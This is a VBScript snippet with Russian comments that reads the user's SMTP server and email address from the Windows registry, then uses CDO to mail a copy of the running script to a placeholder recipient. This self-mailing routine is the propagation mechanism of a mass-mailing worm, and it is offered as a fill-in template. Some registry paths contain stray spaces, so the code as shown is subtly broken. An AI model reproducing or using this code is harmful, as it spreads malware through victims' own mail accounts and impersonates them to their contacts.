Set SH=CreateObject("wscript.shell")
Set ml = CreateObject("CDO.Message")
Set mlo = CreateObject("CDO.Configuration")
smtps=SH.regread("HKEY_CURRENT_USER\Software\Micro soft\Internet Account Manager\Accounts\00000001\SMTP Server")
mlfrom=SH.regread("HKEY_CURRENT_USER\Software\Micr osoft\Internet Account Manager\Accounts\00000001\SMTP Email Address")
Set mlc = mlo.Fields
Set ml.Configuration = mlo
mlc("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
mlc("http://schemas.microsoft.com/cdo/configuration/smtpserver") = smtps ' Здесь автоматически определяется SMTP сервер используемый на компьютере
mlc("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 0
mlc.Update
ml.to = "Получатель"
ml.from = mlfrom ' Здесь автоматически определяется от кого письмо,можно подставить другое
ml.subject = "Сабж письма"
ml.AddAttachment (wscript.scriptfullname) ' Аттач
ml.HTMLBody = "ХТМЛ боди или простой текст"
ml.send ' Отправка
SEt mlc = Nothing
SeT mlo = Nothing
SEt ml = Nothing